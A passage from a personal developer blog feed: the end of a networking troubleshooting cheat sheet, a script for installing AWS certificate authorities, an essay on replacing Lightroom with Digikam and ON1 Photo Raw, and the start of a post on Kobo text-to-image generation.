<p>To listen on a UDP port, use the <code>-u</code> flag.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">nc</span> <span class="token parameter variable">-u</span> <span class="token parameter variable">-l</span> <span class="token number">8081</span></code></pre>
<p>Send a UDP packet using <code>echo -n "Hello" | nc -u servername 8081</code> from another terminal and watch the first one. It’s important to note that UDP is connectionless, sending a packet is a one-way operation and there is no indication of success.</p>
<h2 id="listening-and-echoing-http-requests" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/networking-cheat-sheet/#listening-and-echoing-http-requests">Listening and echoing HTTP requests</a></h2>
<p>When I need to work at the HTTP layer, and troubleshoot message bodies and headers, I use my <a href="https://code.mendhak.com/posts/2019-03-01-docker-http-https-echo.md">HTTP Echo utility</a>. It’s a web server that echoes requests back to the sender. It runs in a container and can be deployed with the rest of the infrastructure being tested.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">docker</span> run <span class="token parameter variable">-p</span> <span class="token number">8080</span>:8080 <span class="token parameter variable">-p</span> <span class="token number">8443</span>:8443 <span class="token parameter variable">--rm</span> <span class="token parameter variable">-t</span> mendhak/http-https-echo:33</code></pre>
<p>I can then browse to any arbitrary path like <a href="https://localhost:8443/hello-world">https://localhost:8443/hello-world</a> and see the request echoed back in the browser.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/docker-http-https-echo/002.png">
<img src="https://code.mendhak.com/assets/images/docker-http-https-echo/002.png" alt="docker http-https-echo output in the browser" title="" loading="lazy" /></span>
<figcaption>Request echoed back in the browser</figcaption>
</figure><p></p>
<p>I can send a request with curl,</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-k</span> <span class="token parameter variable">-X</span> PUT <span class="token parameter variable">-H</span> <span class="token string">"Arbitrary:Header"</span> <span class="token parameter variable">-d</span> <span class="token assign-left variable">aaa</span><span class="token operator">=</span>bbb https://localhost:8443/hello-world` </code></pre>
<p>and see the request echoed back too, as well as see the request in the container logs.</p>
<p>The tool allows for more involved tests, like JWTs, JSON payloads, empty responses, delays, custom content types, mTLS.</p>
<h2 id="inspecting-a-site-s-certificates" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/networking-cheat-sheet/#inspecting-a-site-s-certificates">Inspecting a site’s certificates</a></h2>
<p>Misconfigured certificates can cause weird behaviours in browsers and client-side tooling; the browser might throw warnings, or a database client might fail to connect.
So I often want to inspect the certificates directly.</p>
<p>The idea is to look for anything ‘unusual’ which might require extra work. It could be self signed certificates, to expired certificates, to corporate MITM proxies serving their own certificates. The examples here are for port 443 but can be used for any port.</p>
<p>To look at the certificate being served,</p>
<pre class="language-bash"><code class="language-bash">openssl s_client <span class="token parameter variable">-connect</span> example.com:443</code></pre>
<p>To get a certificate’s start and end dates,</p>
<pre class="language-bash"><code class="language-bash">openssl s_client <span class="token parameter variable">-connect</span> example.com:443 <span class="token operator">|</span> openssl x509 <span class="token parameter variable">-noout</span> <span class="token parameter variable">-dates</span></code></pre>
<p>The <code>x509</code> subcommand can be used to look at many other properties of a certificate.</p>
<p>Here is how to view a certificate’s SANs (Subject Alternative Names). This can produce amusing results on Cloudflare hosted sites where they bundle many sites together.</p>
<pre class="language-bash"><code class="language-bash">openssl s_client <span class="token parameter variable">-connect</span> example.com:443 <span class="token operator">|</span> openssl x509 <span class="token parameter variable">-noout</span> <span class="token parameter variable">-ext</span> subjectAltName</code></pre>
<p>To view <strong>all</strong> of the certificate’s properties,</p>
<pre class="language-bash"><code class="language-bash">openssl s_client <span class="token parameter variable">-connect</span> example.com:443 <span class="token operator">|</span> openssl x509 <span class="token parameter variable">-noout</span> <span class="token parameter variable">-text</span></code></pre>
<p>I sometimes need to know what TLS versions a site supports. This is sometimes needed if a connecting client is very old, and doesn’t understand modern ciphers.</p>
<p>Check if a site supports TLS 1, 1.1, 1.2, 1.3, etc.</p>
<pre class="language-bash"><code class="language-bash">openssl s_client <span class="token parameter variable">-connect</span> example.com:443 <span class="token parameter variable">-tls1</span>
openssl s_client <span class="token parameter variable">-connect</span> example.com:443 <span class="token parameter variable">-tls1_1</span>
openssl s_client <span class="token parameter variable">-connect</span> example.com:443 <span class="token parameter variable">-tls1_2</span>
openssl s_client <span class="token parameter variable">-connect</span> example.com:443 <span class="token parameter variable">-tls1_3</span></code></pre>
<p>If you see a certificate come back, that TLS version is supported.</p>
<h2 id="testing-certificate-scenarios-with-badssl" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/networking-cheat-sheet/#testing-certificate-scenarios-with-badssl">Testing certificate scenarios with BadSSL</a></h2>
<p>A lot can go wrong with certificates, because we make naive assumptions about them. We assume they’re always there, always valid, always signed by a trusted CA.</p>
<p>Of course that’s wrong, certificates could be malformed, self signed, not match the hostname, expired, revoked. They could be too large, missing a chain, come with a weak signature or protocol version.</p>
<p><a href="https://badssl.com/">BadSSL</a> is a useful tool in the certificate space. It has lots of certificate scenarios to work against. Testing against its examples helps with making client code more robust. I’ve found the expired, wrong host, and self signed to be useful tests. It even has certificates on different TLS versions, key exchanges, and HSTS upgrade testing.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/networking-cheat-sheet/001.png">
<img src="https://code.mendhak.com/assets/images/networking-cheat-sheet/001.png" alt="Various scenarios available on Bad SSL" title="" loading="lazy" /></span>
<figcaption>Bad SSL</figcaption>
</figure><p></p>
<p>At the other end, a site that’s never going to have a certificate is <a href="https://neverssl.com/">NeverSSL</a>. This is useful when testing on captive portals or where there’s https interception in a network, or https redirection by a browser.</p>
<h2 id="testing-dns" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/networking-cheat-sheet/#testing-dns">Testing DNS</a></h2>
<div class="notice warning">
<em>It’s not DNS,<br />
There’s no way it’s DNS,<br />
It was DNS.</em>
</div>
<p>A basic DNS lookup can be done with <code>dig</code>.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">dig</span> example.com</code></pre>
<p>To see more details, use the trace argument.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">dig</span> +trace example.com</code></pre>
<p>To get the Start of Authority (SOA) of a domain,</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">dig</span> example.com SOA</code></pre>
<p>I can also get MX records or TXT records, which is a common way to figure out what services that domain is using.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">dig</span> example.com MX
<span class="token function">dig</span> example.com TXT</code></pre>
<p>To check if I can use external DNS servers from my network, I can’t really use <code>nc</code> here since it’s a UDP service, but <code>dig</code> can be pointed at other DNS servers.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">dig</span> @1.1.1.1 example.com</code></pre>
<p>To check if DNS-over-TLS (DoT) is reachable, useful for Android’s Private DNS feature. This will work from Termux too.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">nc</span> <span class="token parameter variable">-v</span> <span class="token parameter variable">-w5</span> <span class="token parameter variable">-z</span> dns.adguard-dns.com <span class="token number">853</span></code></pre>
<p>To find out what DNS servers are being used on a local computer, it’s normally as simple as looking at the resolv.conf file.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">cat</span> /etc/resolv.conf</code></pre>
<p>But in many more modern systems, it’s not that simple. In Ubuntu 22.04, it’s <code>resolvectl</code>.</p>
<pre class="language-bash"><code class="language-bash">resolvectl status</code></pre>
<h2 id="testing-a-website-url" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/networking-cheat-sheet/#testing-a-website-url">Testing a website URL</a></h2>
<p>This one’s the simplest, I just want to ‘look’ at a site URL without browser behaviours getting in the way.</p>
<p>It has been needed more commonly than I thought, especially when a browser has cached a file or a redirect response. I’ve found that browsers may lie, but curl does not.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-v</span> http://example.com:8080</code></pre>
<p>Test a web server but only look at its response <strong>headers</strong></p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-vI</span> http://servername:8080</code></pre>
<p>Test a web server but ignore its <strong>certificates</strong></p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-kv</span> https://example.com</code></pre>
<p>Or together in one line,</p>
<pre class="language-bash"><code class="language-bash"><span class="token builtin class-name">echo</span> <span class="token parameter variable">-e</span> <span class="token string">"GET / HTTP/1.1<span class="token entity" title="\r">\r</span><span class="token entity" title="\n">\n</span>Host: example.com<span class="token entity" title="\r">\r</span><span class="token entity" title="\n">\n</span>Connection: Close<span class="token entity" title="\r">\r</span><span class="token entity" title="\n">\n</span><span class="token entity" title="\r">\r</span><span class="token entity" title="\n">\n</span>"</span> <span class="token operator">|</span> openssl <span class="token operator"><span class="token file-descriptor important">2</span>></span><span class="token file-descriptor important">&1</span> s_client <span class="token parameter variable">-quiet</span> <span class="token parameter variable">-state</span> <span class="token parameter variable">-connect</span> example.com:443</code></pre>
<p>Test a web server using a <strong>proxy</strong></p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-v</span> <span class="token parameter variable">-x</span> http://proxy.internal:3128 http://example.com</code></pre>
<p>If everything is using a <strong>proxy</strong>, test a web server but bypass the proxy</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-v</span> <span class="token parameter variable">--noproxy</span> <span class="token string">'*'</span> http://example.com</code></pre>
<p>When testing <strong>load balancers</strong>, I may need to pass the hostname explicitly.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-v</span> <span class="token parameter variable">-H</span> <span class="token string">"Host: example.com"</span> http://my-load-balancer.amazonaws.com:8293</code></pre>
<p>Sometimes I also need to forcefully <strong>resolve a hostname to a specific IP address</strong>, again while testing out-of-the-balance infrastructure. This is how to get curl to ignore DNS resolution.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-v</span> <span class="token parameter variable">--resolve</span> example.com:80:192.168.50.123 http://example.com</code></pre>
<p>In rarer cases, I’ve had to map a hostname and port to a <strong>completely different hostname and port</strong>.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">curl</span> <span class="token parameter variable">-v</span> --connect-to example.com:80:differentdomain.net:85 http://example.com </code></pre>
<p>There’s a lot more that curl can do, it deserves <a href="https://quickref.me/curl.html">its own cheatsheet</a>.</p>
<h2 id="find-out-what-s-listening-on-a-port" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/networking-cheat-sheet/#find-out-what-s-listening-on-a-port">Find out what’s listening on a port</a></h2>
<p>When port conflicts occur, I need to find out what’s listening on a port.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">netstat</span> <span class="token parameter variable">-plunt</span></code></pre>
<p>The response will contain the PID of the process listening on the port.<br />
On Windows, use <code>netstat -bona</code>.</p>
Adding all AWS service certificate authorities to your trust store2024-07-22T00:00:00Zhttps://code.mendhak.com/quick-script-add-all-amazon-ca/<p>When working with certain AWS services that require secure connectivity over TCP, you might run into the dreaded <em>“unable to get local issuer certificate”</em> error. This is because the service is presenting a certificate signed by an Amazon CA that isn’t in your trust store. I’ve commonly seen this with services such as Redis, DocumentDB, RDS, etc.</p>
<p>With the increased focus on security and expanding services, Amazon have been issuing <a href="https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.SSL.html#UsingWithRDS.SSL.CertificatesDownload">a <em>lot</em></a> of certificates, and it’s a bit of a pain to keep up with them all. It’s also not obvious which CA you need when talking to which service, there seem to be a CA for each service in each region with multiple variants.</p>
<p>There are so many certificates that AWS now issue a <a href="https://truststore.pki.rds.amazonaws.com/global/global-bundle.pem">global certificate bundle</a> containing all the CAs and certificates together. But if you download and inspect the global bundle, you’ll see (at the time of writing) 121 CAs, and they are confusingly named with an RDS prefix. (I can only assume RDS was the first CA they created and all the other departments have just been reusing it).</p>
<p>The following script will automate downloading and installing the CAs for Linux systems. It will download the global bundle, extract the CAs, copy them to the trust store and update the trust store.</p>
<pre class="language-bash"><code class="language-bash"><span class="token assign-left variable">certdir</span><span class="token operator">=</span>/tmp/aws-certs
<span class="token function">mkdir</span> <span class="token parameter variable">-p</span> <span class="token string">"<span class="token variable">${certdir}</span>"</span>
<span class="token function">sudo</span> <span class="token function">mkdir</span> <span class="token parameter variable">-p</span> /usr/local/share/ca-certificates/aws/
<span class="token function">curl</span> <span class="token parameter variable">-sS</span> <span class="token string">"https://truststore.pki.rds.amazonaws.com/global/global-bundle.pem"</span> <span class="token operator">></span> <span class="token variable">${certdir}</span>/global-bundle.pem
<span class="token function">awk</span> <span class="token string">'split_after == 1 {n++;split_after=0} /-----END CERTIFICATE-----/ {split_after=1}{print > "aws-ca-" n+1 ".crt"}'</span> <span class="token operator"><</span> <span class="token variable">${certdir}</span>/global-bundle.pem
<span class="token keyword">for</span> <span class="token for-or-select variable">cert</span> <span class="token keyword">in</span> aws-ca-*<span class="token punctuation">;</span> <span class="token keyword">do</span>
<span class="token function">sudo</span> <span class="token function">mv</span> <span class="token variable">$cert</span> /usr/local/share/ca-certificates/aws/
<span class="token keyword">done</span>
<span class="token function">sudo</span> update-ca-certificates</code></pre>
<p>With this in place, <em>most</em> connectivity to AWS services should work securely.</p>
<p>But note, not everything looks at the same trust store. For example, Python doesn’t look at it by default and you have to <a href="https://stackoverflow.com/questions/42982143/python-requests-how-to-use-system-ca-certificates-debian-ubuntu">set the <code>REQUESTS_CA_BUNDLE</code> environment variable</a>.</p>
<h2 id="how-the-script-works" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/quick-script-add-all-amazon-ca/#how-the-script-works">How the script works</a></h2>
<p>It first creates a temporary directory to download the bundle in. It then uses <code>awk</code> (which I still don’t understand) to split the bundle into individual certificates, with the <code>.crt</code> extension as that’s what the trust store expects.</p>
<p>The certificates are then moved to the trust store location and the <code>update-ca-certificates</code> command is run to process them.</p>
Lessons learned in moving on from Lightroom2024-05-05T00:00:00Zhttps://code.mendhak.com/moving-on-from-lightroom/<p>Returning to photography from a post-pandemic malaise has been an invaluable experience that forced me to re-evaluate my workflow and tools. The main reason for the break was the ease with which I slipped into staying at home, and the decreased prevalence of dedicated cameras and photography communities. There’s a post that talks about the <a href="https://web.archive.org/web/20240130045340/https://ferdychristant.com/the-rise-fall-and-resurrection-of-flickr-ca1850410ee1?gi=c0f6fc9c995a">rise, fall, and resurrection of Flickr</a> which resonates with me and puts things into perspective.</p>
<p>Ten years ago, seeing people carry cameras was a common sight, but in the ‘new’ world it has been firmly relegated to enthusiasts. Although <em>photography</em> itself is far more prevalent due to smartphones, it has come at the cost of quality and appreciation. We’ve normalized a poorer experience of viewing highly compressed, low resolution images on ad-festooned social media platforms, where the focus is not the photography itself, but engagement and quickly moving on to the next photo. Appreciating a photo, zooming to see the details, and wondering about the post processing techniques seems to get lost in the noise, but I’d like to not give up on it just yet.</p>
<p>Reacquainting myself with the camera didn’t take too long. The muscle memory of adjusting the settings, framing the shot, and clicking came back… eventually. The real challenge was the post processing.</p>
<p><strong>Lesson learned</strong>: Don’t give up on hobbies due to external factors. The validation comes from you, not others.</p>
<h2 id="the-lightroom-situation" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/moving-on-from-lightroom/#the-lightroom-situation">The Lightroom situation</a></h2>
<p>Lightroom 6 was a great tool for its time — it did asset management as well as processing, all in one place. Being standalone (the last one), you paid for the software and you could continue using it for however long you wanted. Adobe’s focus is now on the subscription model, centered around mobile and cloud workflows. I believe this is a reflection of the majority of their target audience.</p>
<p>Adobe has moved on, many of us are no longer its target audience, and we must accept it. Which would be fine, except that their strategy includes coercing those users into moving on to their newer offerings through a series of paper cuts and dark patterns which include removing older installers and requiring configuration gymnastics to keep the older software running.</p>
<p>Their transformation has been the matter of much online debate, with enthusiasts and professionals arguing cross-purposes. Those in favour of a subscription model are unable to fathom that others may want to use the software infrequently, and it’s not a given that we will always want to upgrade without good reason.</p>
<p>Lightroom comes in two variants: the default cloud version Lightroom CC, and Lightroom Classic. Lightroom CC comes with asset management and photo processing, and importantly it stores your files in its cloud storage space, and is available across multiple devices. It’s very much aimed at companies and professionals who are willing to pay an ongoing cost, or who have no choice but to put up with the lock-in.</p>
<p>For the rest of us, the kind-of equivalent to Lightroom 6 in the new world is Lightroom Classic, where the files are local. It’s still subscription based though: if you stop paying, you can’t develop photos anymore, only stare at them like a clown. Short term purchasing for adhoc usage isn’t possible either as the ‘monthly’ pricing is a false promise. Cancelling is a nightmare in its own right. Without going into more detail, there’s a good reason that Adobe makes a frequent appearance on <a href="https://www.reddit.com/r/assholedesign/">/r/assholedesign</a>.</p>
<p>If that isn’t troubling enough, Lightroom Classic is likely to be killed off at some point in favour of CC only. No software product with a future would ever have the word “classic” in its name.</p>
<p>It’s pretty safe to say that for infrequent users like me, Lightroom makes no sense at best.</p>
<p><strong>Lessons learned</strong>:</p>
<ul>
<li>Don’t tie yourself to a specific software, be ready to move on.</li>
<li>Subscriptions incentivize profits over products.</li>
</ul>
<h2 id="the-new-world" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/moving-on-from-lightroom/#the-new-world">The new world</a></h2>
<p>In my search for a replacement, I’ve seen that the photo software landscape has changed a lot, and overall I’d say it’s for the better. The search goes in two parts, asset management, and photo processing.</p>
<p>Digital Asset Management (DAM) is basically the process of organising photos, tagging them, managing metadata, culling them, and searching.</p>
<p>Most photo processing software actually did come with <em>some</em> asset management features, but they are often minimal. The best strategy then was to look for software dedicated to DAM, and separately software for processing.</p>
<h3 id="digikam-for-dam-easy" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/moving-on-from-lightroom/#digikam-for-dam-easy">Digikam for DAM, easy</a></h3>
<p><a href="https://www.digikam.org/">Digikam</a> has emerged here as one of the best photo management offerings that I could find, and it is absolutely <em>packed</em> with features. It’s <abbr title="Free and Open Source Software">FOSS</abbr>, which lends to peace of mind right away. It’s a very mature project, which began in 2006. The interface does take some getting used to, though isn’t a problem to learn.</p>
<p>It can do RAW imports, flagging and rejecting, rating, colours, sharing and publishing. It also does GPS correlation, which is pretty important to me. I record my GPX tracks and let the <a href="https://userbase.kde.org/Digikam/Geotagging">geotagging tool</a> correlate the photos; it can even do reverse geocoding and put the location name in the metadata.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/moving-on-from-lightroom/006.png">
<img src="https://code.mendhak.com/assets/images/moving-on-from-lightroom/006.png" alt="A Digikam screen with images, a map, and a GPX trail, correlating photos on the trail" title="" loading="lazy" /></span>
<figcaption>Digikam GPS correlation for my recent Peak District holiday</figcaption>
</figure><p></p>
<p>Digikam’s similarity search is a great way of finding duplicates and helping clean up years of accumulated sprawl. It actually helped me recover from a major mistake I had made, which was exporting directly from Lightroom to Flickr. The changes were stuck in the Lightroom Catalog (lrcat) file.</p>
<p>Thankfully, I was able to do a Flickr data export, then use <a href="https://github.com/tagspaces/flickr-export-organizer">the flickr-export-organizer script</a> to rearrange the files into a folder structure. Digikam’s similarity search then helped me identify similar photos and I’d then drag them into the right folders. It was a bit of a manual process, and the final files don’t sit exactly next to its original files, but I’m satisfied with this salvage operation.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/moving-on-from-lightroom/005.png">
<img src="https://code.mendhak.com/assets/images/moving-on-from-lightroom/005.png" alt="Similarity search results for an image of a chair" title="" loading="lazy" /></span>
<figcaption>Digikam similarity search example</figcaption>
</figure><p></p>
<p>There was another mistake I had made, which I wasn’t exactly able to recover from, which is sidecar files. Lightroom does have the ability to write metadata to XMP files, but it isn’t something I had uniformly applied everywhere, and so a lot of metadata was stuck in the catalog file. XMPs are generally a good idea and understood by many asset management applications, but I had not been consistent with them.</p>
<p><strong>Lessons learned</strong>:</p>
<ul>
<li>Always export the final image locally, then publish manually.</li>
<li>A manual step in a workflow is not a terrible thing, not every workflow needs to be optimal.</li>
<li>If there’s a proprietary format, minimize time with it. Do your work and get out.</li>
<li>Enable sidecar files (XMPs), it’s a boatload of new files that appear, but it’s worth it.</li>
</ul>
<h3 id="photo-processing-software" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/moving-on-from-lightroom/#photo-processing-software">Photo processing software</a></h3>
<p>Having the DAM sorted and out of the way was helpful, it meant that I could focus on just the processing part instead of looking for an all-in-one replacement.</p>
<p>There are several good offerings here with a perpetual option, and that made me glad — the field is still alive, vibrant, and healthy.</p>
<p>The main criteria I had was a perpetual license, obviously, HDR and panorama stitching and helper workflow tools.</p>
<p>Modern photo processing workflows place an emphasis on editing using layers and masks. In practical terms, that means you’d pick an area of a photo like the ground or the sky, and apply adjustments just to that bit. What’s new is that some of these applications can help you identify these areas using machine learning models, and some can even automatically identify areas and make those adjustments as a starting point, so it makes the overall process faster. Of course, because it’s 2024, the marketing pages are calling it AI because absolutely everything with a bit of smarts needs to be called AI. Only time will tell how cringey that description will be, I just hope it doesn’t affect the actual functionality, because it has been pretty useful.</p>
<p>The FOSS offerings include DarkTable and RawTherapee. RawTherapee is especially comprehensive in what it can do, with a steep and rewarding learning curve, but it feels very much for power users. I think I would investigate it as a fallback option if I ever needed to.</p>
<p>In the paid sphere, I had a look at Capture One Pro, DXO PhotoLab, ON1 Photo Raw, Affinity Photo, and Skylum. All of them came with trials, which was very helpful.</p>
<p>Of these, Skylum was a bit <em>too</em> basic for my needs, and Affinity Photo felt more like a Photoshop replacement than a Lightroom one (perhaps a future consideration).</p>
<h3 id="capture-one-pro" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/moving-on-from-lightroom/#capture-one-pro">Capture One Pro</a></h3>
<p>I found C1 to be really good, and it seems aimed at experienced people. Its editing is top notch, and its object selection is very intelligent. Sadly, Capture One has gone through a marketing overhaul and has chosen to adopt Adobe’s nickel-and-dime route. Their perpetual license option is the most expensive among the offerings, and yet does not include even minor updates. They offer miniscule upgrade discounts, so there’s no reward for loyalty. They’re now <a href="https://www.reddit.com/r/captureone/comments/13o7f5l/im_sorry_but_the_new_pricing_is_just_bonkers/">prominently pushing their subscription model</a>, which is a shame because the software is quite good.</p>
<h3 id="dxo-photolab" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/moving-on-from-lightroom/#dxo-photolab">DXO Photolab</a></h3>
<p>I wanted to give it a good try, but was more confused by its home page than anything else, which you could clearly tell was designed by a marketing team. I couldn’t tell which of the software I actually needed, what was included in the main PhotoLab package, what was even a product and what wasn’t. I was also left wondering why the Nik collection wasn’t included as part of Photolab.</p>
<p>By the time I had gotten it installed, I was expecting a lot more than they offered, especially presets and smart object selection tools which I had gotten used to. I’m sure this is a great tool for those that know it already, but I was already pretty put off by the experience.</p>
<h3 id="on1-photo-raw" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/moving-on-from-lightroom/#on1-photo-raw">ON1 Photo Raw</a></h3>
<p>ON1 Photo RAW is what I chose in the end. It has a Lightroom vibe to it while staying its own thing. Much of the interface and terms used are quite similar, including the shortcuts and ability to snapshot from history.</p>
<p>Just like Capture One, it has an intelligent object selection tool, so it can pick out sky, mountain, ground, to help along with the workflow, and it also has an option where it figures out the main parts of the image and applies suggestions to it automatically.</p>
<p>I thought it struck a good balance between enthusiast and professional wofkflows; many of its tools come with an explanation of what they are, and some even link to tutorials. The HDR and panorama stitching worked well, which I use quite a bit. The cost felt the most reasonable of the lot, you get a perpetual license and updates for that major version, which is very similar to what Jetbrains does with their IDEs.</p>
<p>What sold me on this software was the ability to take it easy or go deep on the editing. There are several presets it comes with, which act as a good starting point because they just perform actions in the develop module, which you can carry on from. Or you can choose to start fresh and make your own adjustments to different parts of the image.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/moving-on-from-lightroom/007.png">
<img src="https://code.mendhak.com/assets/images/moving-on-from-lightroom/007.png" alt="ON1 Photo Raw edit screen, with presets on the left and adjustments on the right" title="" loading="lazy" /></span>
<figcaption>ON1 Photo Raw. Presets on the left, and layer masks on the right</figcaption>
</figure><p></p>
<p>It’s not perfect; there’s a thankfully smaller proprietary lock-in which is limited to the image level rather than a more egregious catalog level. Each image you process gets a corresponding <code>.on1</code> file which stores the changes you’ve made to it, a somewhat decent compromise that gets out of my way. For HDRs and panoramas, the combined image is in an <code>.onphoto</code> file, but can be converted to TIFF. Even regular images can be converted to TIFF, which is a good way to not be locked in.</p>
<h3 id="my-workflow" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/moving-on-from-lightroom/#my-workflow">My workflow</a></h3>
<p>The workflow I’ve settled on is to use Digikam for asset management, and ON1 Photo Raw for processing.</p>
<p>Because Digikam works on Linux, I’ll have it with me on holidays on my light Ubuntu laptop, and load my RAW files into it regularly. I’ll do the usual managing: pick the photos to keep, remove the unnecessary ones, mark out the ones that I think have potential for processing, or HDRs, or panoramas. Since I’m recording my GPX tracks, I’ll also geotag the photos and reverse geocode them.</p>
<p>When I’m back home with a large screen and a GPU, I’ll load the photos into Photo Raw, and start editing. In some cases I’ll use a preset to get an idea and go from there. In other cases I start from scratch and try various local adjustments or effects to see what works.</p>
<p>Finally when I have something I’m happy with, I’ll export the final image to disk, and use Digikam to publish it to <a href="https://www.flickr.com/photos/mendhak/">my Flickr account</a>. The latest images there are from a recent holiday to Peak District, processed in Photo Raw. I’m mostly happy with the results, though still getting used to processing again.</p>
<p><strong>Lessons learned</strong>:</p>
<ul>
<li>Keep the asset management and photo processing separate.</li>
<li>Don’t be afraid to try out new software, and don’t be afraid to move on.</li>
<li>Don’t be afraid to pay for software, but make sure it respects your time.</li>
</ul>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/moving-on-from-lightroom/008.png">
<img src="https://code.mendhak.com/assets/images/moving-on-from-lightroom/008.png" alt="Photo of a tree against the backdrop of a streaky sky, being edited in ON1" title="" loading="lazy" /></span>
<figcaption>Work in progress</figcaption>
</figure><p></p>
<hr />
<h4 id="side-note-cleaning-up" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/moving-on-from-lightroom/#side-note-cleaning-up">Side note - cleaning up</a></h4>
<p>With the numerous sidecar files floating about, between Digikam and ON1, you can sometimes end up with orphaned <code>.xmp</code> files for missing images. This isn’t a regular occurrence, it is normally prevented by configuring Digikam to treat <code>on1</code> as additional sidecar files, but it could happen if you delete files externally or through other applications that don’t get the association. It’s a minor annoyance, I have a script to help with that, which basically looks for <code>.xmp</code> files that don’t have a corresponding image file, and deletes them.</p>
<pre class="language-bash"><code class="language-bash"><span class="token shebang important">#!/bin/bash</span>
<span class="token comment"># Check if directory is provided as argument</span>
<span class="token keyword">if</span> <span class="token punctuation">[</span> <span class="token variable">$#</span> <span class="token parameter variable">-ne</span> <span class="token number">1</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">then</span>
<span class="token builtin class-name">echo</span> <span class="token string">"Usage: <span class="token variable">$0</span> directory_path"</span>
<span class="token builtin class-name">exit</span> <span class="token number">1</span>
<span class="token keyword">fi</span>
<span class="token assign-left variable">directory</span><span class="token operator">=</span><span class="token string">"<span class="token variable">$1</span>"</span>
<span class="token comment"># Check if the provided directory exists</span>
<span class="token keyword">if</span> <span class="token punctuation">[</span> <span class="token operator">!</span> <span class="token parameter variable">-d</span> <span class="token string">"<span class="token variable">$directory</span>"</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">then</span>
<span class="token builtin class-name">echo</span> <span class="token string">"Error: Directory '<span class="token variable">$directory</span>' does not exist."</span>
<span class="token builtin class-name">exit</span> <span class="token number">1</span>
<span class="token keyword">fi</span>
<span class="token comment"># Change to the specified directory</span>
<span class="token builtin class-name">cd</span> <span class="token string">"<span class="token variable">$directory</span>"</span> <span class="token operator">||</span> <span class="token builtin class-name">exit</span> <span class="token number">1</span>
<span class="token builtin class-name">shopt</span> <span class="token parameter variable">-s</span> nullglob extglob nocaseglob<span class="token punctuation">;</span>
<span class="token comment"># Get all sidecar files</span>
<span class="token keyword">for</span> <span class="token for-or-select variable">file</span> <span class="token keyword">in</span> *.<span class="token punctuation">{</span>xmp,pts,pp3,dop<span class="token punctuation">}</span>
<span class="token keyword">do</span>
<span class="token comment"># Generate all permutations of filenames that it may belong to, </span>
<span class="token comment"># and let globbing delete the ones that don't exist </span>
<span class="token assign-left variable">candidates</span><span class="token operator">=</span><span class="token punctuation">(</span><span class="token string">"<span class="token variable">${file<span class="token operator">%</span>.*}</span>"</span>@<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token string">"<span class="token variable">${file<span class="token operator">%%</span>.*}</span>"</span>.<span class="token punctuation">{</span>jpg,jpeg,arw,on1,onphoto,raw,nef,raf,orf<span class="token punctuation">}</span>@<span class="token punctuation">(</span><span class="token punctuation">))</span><span class="token punctuation">;</span> <span class="token comment"># add possible extension types that may be present here</span>
<span class="token comment"># If none exist, the file can be deleted </span>
<span class="token punctuation">[</span><span class="token punctuation">[</span> <span class="token variable">${<span class="token operator">#</span>candidates<span class="token punctuation">[</span>@<span class="token punctuation">]</span> }</span> <span class="token parameter variable">-eq</span> <span class="token number">0</span> <span class="token punctuation">]</span><span class="token punctuation">]</span> <span class="token operator">&&</span> <span class="token builtin class-name">echo</span> <span class="token string">"Found orphan <span class="token variable">$file</span>"</span> <span class="token comment"># && rm -f $file # uncomment this to actually delete the file</span>
<span class="token keyword">done</span>
</code></pre>
Enhancing Kobo with text-to-image generation and simple explanations2024-03-24T00:00:00Zhttps://code.mendhak.com/kobo-text-to-images-with-stable-diffusion/<p>I’ve modified my Kobo device to generate images from passages of text that I highlight. I select a passage of text, choose the “Visualize” option from the menu, and that text is passed to Stable Diffusion. The output is then displayed on the Kobo’s screen.</p>
<p>Here it is in action.</p>
<div class="video" style="">
<iframe src="https://www.youtube.com/embed/9SvLe1d-Hbw" frameborder="0" allowfullscreen=""></iframe>
</div>
